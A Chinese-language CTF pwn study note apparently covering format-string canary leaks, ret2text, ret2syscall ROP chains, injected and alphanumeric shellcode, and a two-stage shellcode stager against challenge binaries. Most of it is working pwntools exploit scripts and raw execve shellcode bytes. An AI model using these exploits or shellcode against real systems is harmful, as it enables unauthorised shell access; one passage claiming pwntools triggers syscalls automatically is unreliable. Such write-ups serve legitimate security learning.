unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
return __readfsqword(0x28u) ^ v3;
}

canary用格式化字符串泄露,然后再利用栈溢出来getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#r = process('./find_flag')
r = remote('node4.anna.nssctf.cn',28027)
r.recvuntil(b"What's your name? ")
payload = b"%17$paaaa%19$p"
r.sendline(payload)

# 接收输出
r.recvuntil(b"Nice to meet you, ")
data = r.recvline().strip()

# 分割数据
leaked = data.split(b"aaaa")
canary = int(leaked[0], 16)
ret_addr = int(leaked[1][:-1], 16)

print(f"Leaked address 17$p: {hex(canary)}")
print(f"Leaked address 19$p: {hex(ret_addr)}")

back_door = ret_addr - 0x146F + 0x122e

r.sendafter(b"Anything else? ", b'\x00'*(0x40 - 0x08) + p64(canary) + b'\x00'*8 + p64(back_door))
#gdb.attach(r)
#pause()
r.interactive()

注释:19泄露的是返回地址,17泄露的是canary的地址

17怎么计算参考上面的格式化字符串泄露canary,canary和返回地址正好相差两个0x08。所以ret_addr的地址是19处。

0x146f和0x122e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:00000000000013F9 ; __unwind {
.text:00000000000013F9 endbr64
.text:00000000000013FD push rbp
.text:00000000000013FE mov rbp, rsp
.text:0000000000001401 sub rsp, 10h
.text:0000000000001405 mov rax, cs:stdin
.text:000000000000140C mov ecx, 0 ; n
.text:0000000000001411 mov edx, 2 ; modes
.text:0000000000001416 mov esi, 0 ; buf
.text:000000000000141B mov rdi, rax ; stream
.text:000000000000141E call _setvbuf
.text:0000000000001423 mov rax, cs:stdout
.text:000000000000142A mov ecx, 0 ; n
.text:000000000000142F mov edx, 2 ; modes
.text:0000000000001434 mov esi, 0 ; buf
.text:0000000000001439 mov rdi, rax ; stream
.text:000000000000143C call _setvbuf
.text:0000000000001441 call _getegid
.text:0000000000001446 mov [rbp+rgid], eax
.text:0000000000001449 mov edx, [rbp+rgid] ; sgid
.text:000000000000144C mov ecx, [rbp+rgid]
.text:000000000000144F mov eax, [rbp+rgid]
.text:0000000000001452 mov esi, ecx ; egid
.text:0000000000001454 mov edi, eax ; rgid
.text:0000000000001456 call _setresgid
.text:000000000000145B mov eax, 0
.text:0000000000001460 call sub_1240
.text:0000000000001465 mov eax, 0
.text:000000000000146A call sub_132F //执行完这个函数就会执行 mov eax, 0,所以返回地址在0x146a这里
.text:000000000000146F mov eax, 0
.text:0000000000001474 leave
.text:0000000000001475 retn
1
2
3
4
5
6
7
8
9
.text:0000000000001229 ; __unwind {
.text:0000000000001229 endbr64
.text:000000000000122D push rbp
.text:000000000000122E mov rbp, rsp //后门地址 0x122e,实际上0x1231也行。
.text:0000000000001231 lea rdi, command ; "/bin/cat flag.txt"
.text:0000000000001238 call _system
.text:000000000000123D nop
.text:000000000000123E pop rbp
.text:000000000000123F retn

利用vsyscall地址不变

记录一下有这个方式,到时候了解了在写

PWN中栈溢出的部分简单题型

Ret2text

这类题型里:

1、存在能够覆盖返回地址的栈溢出

2、程序代码中直接存在类似于**system(“bin/sh”)**能够直接获取程序控制权的代码。

1
这段代码向系统申请一个sh的用户shell,可以获得当前交互主机的控制权bash

造成栈溢出的最常见的情形:

1、gets(),由于gets()函数不限制读入的长度,所以一般看到程序中出现了gets()读取用户输入的情况,大概率是存在栈溢出的。

2、限制长度读入函数,规定读入的长度大于变量与rbp/ebp之间的距离,例如下图:

Clip_2024-12-04_16-53-33

虽然read(0,buf,0x32uLL)限制了向buf内读入的长度为0x32,但是buf与rbp之间的距离只有0xA,就存在0x32-0xA=0x28的长度是可以溢出的。

例题1:

CTFshow - pwn38

64位ret2text

pwn基本解题流程:

1、checksec检查程序基本信息:

2、为程序添加可执行权:

chmod +x pwn

3、IDA反编译分析程序结构。

4、gdb动态分析、调试。

5、编写攻击脚本exp。

checksec查看程序基本信息:

Clip_2024-12-04_17-38-43

IDA反编译分析:

主函数:

存在0x32-0xA = 0x28长度的栈溢出。

Clip_2024-12-04_17-02-34

后门函数:

存在system(“/bin/sh”)

image-20240514131905819

Clip_2024-12-04_17-10-38

gdb调试:

在这道题中:

0x7fffffffdc00是buf的起始地址,大小为0xA,rbp是buf+0xA 也就是图中的0x7fffffffdc10,而紧跟着rbp后面的就是函数的返回地址,ret address,我们只需要通过栈溢出将ret address改写成我们想要让程序返回的地方即可达到攻击的目的。

Clip_2024-12-04_17-15-39

编写攻击脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"

#io = process("./pwn")
io = remote("pwn.challenge.ctf.show",28308)#与远程建立连接。

io.recv()#接收程序的输出

ret = 0x400287 #ROPgadget --binary pwn --only "ret",用于寻找程序中的ret指令的地址。

payload = b'A' *(0xA+8) +p64(ret)+ p64(0x400657)
#用(0xA+8)长度的垃圾数据'A'来填充距离,再接上p64(ret)进行堆栈平衡,最后接上后门函数的地址。
io.sendline(payload)#发送构造的payload
io.interactive()#进入交互模式

例题2:

CTFshow——pwn37

32位ret2text

与64位原理一样,要修改成32位的格式:

Clip_2024-12-04_17-35-34

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"

io = process("./pwn")
#io = remote("pwn.challenge.ctf.show",28308)#与远程建立连接。

io.recv()#接收程序的输出

ret = 0x08048356 #ROPgadget --binary pwn --only "ret",用于寻找程序中的ret指令的地址。

payload = b'A' *(0x12+4) + p32(ret) + p32(0x08048521)
#用(0x12+4)长度的垃圾数据'A'来填充距离,再接上p32(ret)进行堆栈平衡,最后接上后门函数的地址。
io.sendline(payload)#发送构造的payload
io.interactive()#进入交互模式

不同点在于p32()以及ebp的长度由8变为4。

ret2syscall

x32

ctfshow pwn入门 pwn71

栈溢出

image-20240517134955943

静态编译,可以通过ret2syscall

我们可以利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shel

1
execve("/bin/sh",NULL,NULL)
1
2
3
4
5
6
其中,该程序是 32 位,所以我们需要使得
系统调用号,pop eax 0xb ret | 即 eax 应该为32位execve的进程号0xb
第一个参数,pop ebx /bin/sh ret | 即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,pop ecx 0 ret | 即 ecx 应该为 0
第三个参数,pop edx 0 ret | 即 edx 应该为 0
最后, int 0x80 | x86 通过 int 0x80 指令进行系统调用

我们需要pop eax ret,pop ebx ret ,pop ecx ret ,pop edx ret

/bin/sh的地址:

Clip_2025-01-20_14-19-55

image-20240517135045415

这个可以利用

image-20240517135156006

还有int 0x80

image-20240517135849625

在ida中的偏移有问题,要在gdb中动调算:

Clip_2025-01-20_14-30-35

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io=remote('pwn.challenge.ctf.show',28113)
elf = ELF("./pwn")

offset = 0x6C + 4
pop_eax = 0x080bb196 # pop eax ; ret
pop_edx_ecx_ebx = 0x0806eb90 # pop edx ; pop ecx ; pop ebx ; ret
bin_sh = next(elf.search(b"/bin/sh"))
int_80h = 0x08049421 # int 0x80

#payload = flat(['A'*offset,pop_eax,0xb,pop_edx_ecx_ebx,0,0,bin_sh,int_80h])
payload = b'A'*offset + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) +p32(int_80h)

io.sendline(payload)
io.interactive()

x32-2

ctfshow Pwn入门 pwn72

32位ret2syscall,没有/bin/sh,利用read读入

计算偏移,这里ida的偏移又是错的,应该是0x28

Clip_2025-01-20_14-40-18

和之前一样,不同的地方是这次没有了/bin/sh

Clip_2025-01-20_14-41-01

Clip_2025-01-20_14-41-18

在ida里面找到了read函数,可以利用read读入/bin/sh到bss段的一个地址,之后再ret2syscall时用这个地址即可

1
2
3
4
5
6
7
8
9
10
read():
ssize_t read(int fd,const void *buf,size_t nbytes);
//fd 为要读取的文件的描述符 0
//buf 为要读取的数据的缓冲区地址
//nbytes 为要读取的数据的字节数

//read() 函数会从 fd 文件中读取 nbytes 个字节并保存到缓冲区 buf,
//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。

调用号:sys_read 的32位调用号 为 3 | 64位进程号为0

那么我们可以构造调用read的rop

1
2
3
4
5
pop eax 0x3 ret #32位下read系统调用号
pop ebx 0 ret #要读取的内容描述,0
pop ecx adress ret #adress是需要读入的地址
pop edx length ret #读入的长度
int 0x80 #执行系统调用

这题写入地址就随便选一个bss段上就行0x080EB000,读入长度,”/bin/sh\x00”,不少于这个就行

之后再进行execve(“/bin/sh”,NULL,NULL)的调用

1
2
3
4
5
6
其中,该程序是 32 位,所以我们需要使得
系统调用号,pop eax 0xb ret | 即 eax 应该为32位execve的进程号0xb
第一个参数,pop ebx /bin/sh ret | 即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,pop ecx 0 ret | 即 ecx 应该为 0
第三个参数,pop edx 0 ret | 即 edx 应该为 0
最后, int 0x80 | x86 通过 int 0x80 指令进行系统调用

这题不知道为什么ROPgadget找到的int 80h用不了,用的是ida这里的

ROPgadget找到的这个用不了

Clip_2025-01-20_14-44-12

ida里面的这个可以用

Clip_2025-01-20_14-44-56

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io=remote('pwn.challenge.ctf.show',28298)
elf = ELF("./pwn")

offset = 0x28+4
pop_eax = 0x080bb2c6 # pop eax ; ret
pop_edx_ecx_ebx = 0x0806ecb0 # pop edx ; pop ecx ; pop ebx ; ret
#bin_sh = next(elf.search(b"/bin/sh"))
int_80h = 0x0806F350 # int 0x80
bss = 0x080EB000
#payload = flat(['A'*offset,pop_eax,0x3,pop_edx_ecx_ebx,0x10,bss,0,pop_eax,pop_edx_ecx_ebx,0,0,bss,int_80h])
payload = b'A' *offset
payload += p32(pop_eax) + p32(0x3)
payload += p32(pop_edx_ecx_ebx) + p32(0x10) + p32(bss) + p32(0)
payload += p32(int_80h)

payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
payload += p32(int_80h)

io.recv()
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

x64

ctfshow pwn入门 pwn78

没有canary没有pie

image-20240524102221261

溢出函数

image-20240524102839743

和32位类似,只是放参数的寄存器和调用号什么的变了,64位传参顺序是rdi > rsi > rdx > rcx > r8 > r9 > 栈上

这题先调用read读入/bin/sh到bss段,再调用system(/bin/sh)

1
2
3
4
5
6
调用read:
pop rax 0 ret #将要调用的函数(read)的系统调用号存入rax(特殊,系统调用号就是放在rax里的)中,这里是0
pop rdi 0 ret #read的第一个参数,表示标准读入
pop rsi bss_addr ret #第二个参数,存放读入的位置,这里是bss上的一个地址
pop rdx 0x10 ret #第三个参数,表示读入的长度,这里用0x10
syscall
1
2
3
4
5
6
调用execve("/bin/sh",NULL,NULL):
pop rax 0x3b ret #execve的系统调用号,存入rax
pop rdi bss_addr ret #将第一个参数/bin/sh,这里存在bss上,放入rdi中
pop rsi 0 ret #第二个参数 0也就是NULL
pop rdx 0 ret #第三个参数 0也就是NULL
syscall

在实际利用中可以省略syscall,因为使用了pwntools库的remote函数时,它会自动处理系统调用,因此你不需要手动添加syscall指令。当你发送payload时,pwntools会在内部自动构造ROP链,并执行syscall指令以触发系统调用。因此,即使没有明确写出syscall指令,readexecve系统调用仍然会被正确地触发。但是这题不知道为什么还是要加syscall 。

syscall ret地址:

Clip_2025-01-20_15-18-11

首先利用ROPgadget找到能利用的rop指令

1
ROPgadget --binary pwn --only "pop|ret"

首先是 pop rax ret

image-20240524112906565

然后是pop rdi ret

image-20240524112513371

再是rsi和rdx,可以找到两个一起的

image-20240524113021888

还需要一个单独的ret,需要在read调用完之后ret再调用下一个函数execve

image-20240524113426346

再找一个bss段的地址用于存放/bin/sh

image-20240524113602768

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'
#io = process("./pwn")
io=remote('pwn.challenge.ctf.show',28311)
pop_rax=0x46b9f8
pop_rdi=0x4016c3
pop_rdx_rsi=0x4377f9
bss=0x6c2000
syscall=0x45BAC5 #syscall

payload=b'A'*(0x50+8)
payload+=p64(pop_rax)+p64(0x0)
payload+=p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload+=p64(pop_rdi)+p64(0)
payload+=p64(syscall)

payload+=p64(pop_rax)+p64(0x3b)
payload+=p64(pop_rdx_rsi)+p64(0)+p64(0)
payload+=p64(pop_rdi)+p64(bss)
payload+=p64(syscall)
#execve(“/bin/sh”,0,0)

io.sendline(payload)`
io.sendline("/bin/sh\x00")
io.interactive()

例题

newstar2025 syscall

简单的ret2syscall

构造rop链, read(0, bss, 0x10),execve(“/bin/sh”, NULL, NULL)

寄存器用ROPgadget找,int_80要在IDA中手动找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'

p = remote("ip",port)

offset = 22

pop_eax = 0x080b438a
pop_ebx = 0x08049022
pop_ecx = 0x0804985a
pop_edx = 0x0804985c
int80 = 0x08073a00
bss = 0x80EE300 +0x800
read_addr = 0x080497CE
pop_ebx_esi_edi_ret=0x08049a1e
payload = b'A' * offset

#read(0, bss, 0x10)
payload += p32(pop_eax) + p32(3)
payload += p32(pop_ebx) + p32(0) + p32(pop_ecx) + p32(bss) + p32(pop_edx) + p32(0x10)
payload += p32(int80)

#execve("/bin/sh", NULL, NULL)
payload += p32(pop_eax) + p32(0x0b)
payload += p32(pop_ebx) + p32(bss) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0)
payload += p32(int80)

p.recvuntil(b"pwn it guys!\n")

p.send(payload)
sleep(0.2)
p.send(b"/bin/sh\x00")

p.interactive()

这里的shellcode的题目都是利用栈溢出了

shellcode的获取方法:

  1. 利用pwntools的shellcraft模块
  2. 网上查询

直接写入shellcode

1.32位

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#r=process('./elf')
#e=ELF('./elf')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())

payload1=shellcode
r.sendline(payload1)
r.interactive()

1.64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#r=process('./elf')
#e=ELF('./elf')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())
r.recvuntil("") #根据实际情况,也可能没有
payload1=shellcode

r.sendline(payload1)

r.interactive()

在bss段写入shellcode

2.32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())

buf2=0x804A080 #根据实际情况

r.recvuntil("xxxxxxx") #根据实际情况,也可能没有

payload1=shellcode.ljust(112,b"a")+p32(buf2) #偏移量根据实际请况

r.sendline(payload1)

r.interactive()

2.64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') # 修改了arch为'amd64'

# 保持连接信息不变
r = remote("域名",端口)

# 确保使用的是64位shellcode
shellcode = asm(shellcraft.sh())

buf2=0x601000 # 示例地址,实际使用时请替换为目标程序中的正确地址

r.recvuntil("xxxxxxx") #根据实际情况,也可能没有

# 构造payload,注意使用p64()来适应64位地址空间
payload1=shellcode.ljust(112,b"a")+p64(buf2) #偏移量根据实际请况

r.sendline(payload1)

r.interactive()

pwntools的shellcode长度过长利用网上找的shellcode

例题ctfshow pwn61,这里还有注意有个leave不能直接在栈上写入shellcode,shellcode要放在v5之后即要放在v5首地址的24+8字节后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
r=process('./pwn61')
#r = remote("域名",端口)
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
#shellcode = asm(shellcraft.sh())
#shellcode=b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x54\x5f\x31\xc0\x50\xb 0\x3b\x54\x5a\x54\x5e\x0f\x05'
#shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f \x6a\x3b\x58\x99\x0f\x05'
#shellcode =b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' 32位
#shellcode =b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' 32位
#shellcode =b'(\x6A)\x68\x68\x2F\x2F\x2F\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\x6A\x0B\x58\xCD\x80' 32位
#shellcode =b'\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' 32位
#shellcode =b'\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'64位
#shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'64位
#shellcode =b'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0A' 纯ASCII
r.recvuntil("What's this : [")

v5=int(r.recv(14),16)

print("shellcode:",len(shellcode))
print("v5:",hex(v5))

r.recvuntil("But how to use it?\n")

payload1=b"a"*24+p64(v5+32)+shellcode

r.sendline(payload1)

r.interactive()

当64位比22位还小

newstar2025 input_small_function

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL);
puts("please input a small function (also after compile)");
read(0, buf, 0x14uLL);
clear();
((void (*)(void))buf)();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:00000000000011F0 ; __int64 clear()
.text:00000000000011F0 public clear
.text:00000000000011F0 clear proc near ; CODE XREF: main+66↓p
.text:00000000000011F0 ; __unwind {
.text:00000000000011F0 endbr64
.text:00000000000011F4 push rbp
.text:00000000000011F5 mov rbp, rsp
.text:00000000000011F8 xor rax, rax
.text:00000000000011FB xor rbx, rbx
.text:00000000000011FE xor rcx, rcx
.text:0000000000001201 xor rdx, rdx
.text:0000000000001204 xor rdi, rdi
.text:0000000000001207 xor rsi, rsi
.text:000000000000120A xor r8, r8
.text:000000000000120D xor r9, r9
.text:0000000000001210 xor r10, r10
.text:0000000000001213 xor r11, r11
.text:0000000000001216 xor r12, r12
.text:0000000000001219 xor r13, r13
.text:000000000000121C xor r14, r14
.text:000000000000121F xor r15, r15
.text:0000000000001222 nop
.text:0000000000001223 pop rbp
.text:0000000000001224 retn

clear是关键

我们只要把shellcode的xor rsi, rsi删去转字节码

1
2
3
4
5
6
7
8
9
xor     rsi,    rsi            
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
r = remote("ip", port)
#shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
shellcode= b"\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05"
print("shellcode:",len(shellcode))
payload1=shellcode
r.recvuntil("please input a small function (also after compile)")
r.sendline(payload1)

r.interactive()

Aristore大佬的方法

先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用 read 系统调用,从标准输入读取一段更长的 shellcode 到 0x114514 这个地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: utf-8 -*-
from pwn import *

# 设置目标架构和操作系统
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

HOST = '8.147.134.121'
PORT = 26655
BUF_ADDR = 0x114514

p = remote(HOST, PORT)

# --- Stage 1 ---
# 1. 调用 read(0, BUF_ADDR, 0x50) 再次读取
# 2. 读取完成后,跳转回 BUF_ADDR 的开头,以执行 Stage 2 shellcode
stage1_asm = f"""
/* Part 1: Call read(0, BUF_ADDR, 0x50) */
xor eax, eax /* syscall read = 0 */
xor edi, edi /* fd stdin = 0 */
mov esi, {BUF_ADDR} /* buffer address */
mov dl, 0x50 /* size to read */
syscall /* Make the call */

/* Part 2: Jump back to the start of the buffer */
mov eax, {BUF_ADDR} /* Load the absolute address into eax */
jmp rax /* Jump to it */
"""
stage1_shellcode = asm(stage1_asm)

# 检查 stager 长度
log.info(f"Stage 1 (stager) shellcode: {stage1_shellcode.hex()}")
log.info(f"Stage 1 (stager) shellcode length: {len(stage1_shellcode)} bytes")

# 断言确保长度正确
assert len(stage1_shellcode) <= 0x14, "Stage 1 shellcode is too long!"
# 填充到20字节
stage1_shellcode = stage1_shellcode.ljust(0x14, b'\x90') # Pad with NOPs

# --- Stage 2 ---
# 获取 shell
stage2_shellcode = asm(shellcraft.sh())
log.info(f"Stage 2 (main) shellcode length: {len(stage2_shellcode)} bytes")


p.recvuntil(b"please input a small function (also after compile)\n")

log.info("Sending Stage 1 (stager with jump) shellcode...")
p.send(stage1_shellcode)

sleep(0.2)

log.info("Sending Stage 2 (main) shellcode...")
p.send(stage2_shellcode)

p.interactive()

shellcode是需要由大小写字母及数字构成

先要下载alpha3;

1
git clone https://github.com/TaQini/alpha3.git

应为github很不稳定所以这里推荐两种方法

  1. 科学上网(其实是不文明上网),自己理解
    1
  2. 用bgithub.xyz替换github.com

​ 然后再利用pwntools生成一个shellcode

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

1
2
cd alpha3
python3 sc.py > sc

使用alpha3生成string.printable (这里得用 python2)

1
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
1
2
3
4
5
6
7
8
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
e=ELF('./pwn65')
r = remote("域名",端口)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
r.send(shellcode)
r.interactive()

shellcode开头为\x00

用脚本找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()

exp模板

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#r = process('./')
#elf=ELF('./')
r = remote("域名",端口)
shellcode = asm(shellcraft.sh())
r.recvuntil("")

r.sendline(b'\x00'+b'\xc0'+shellcode)
r.recvuntil("")
r.interactive()

手动写shellcode

先学习一下怎么写入shellcode

32和64的系统调用表

ASCll转16进制

查看可以被使用汇编指令

在线编写汇编指令

x64

1
2
3
4
5
6
7
8
mov rax, 0x68732f6e69622f;
push rax;
mov rdi, rsp;
xor esi, esi;
xor edx, edx;
push 0x3b;
pop rax;
syscall;
1
2
3
4
5
6
7
8
9
10
11
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi ,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall

x32

1
2
3
4
5
6
7
8
9
10
11
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80

手写open,read,write的shellcode

这个就是sandbox见我的另一篇文章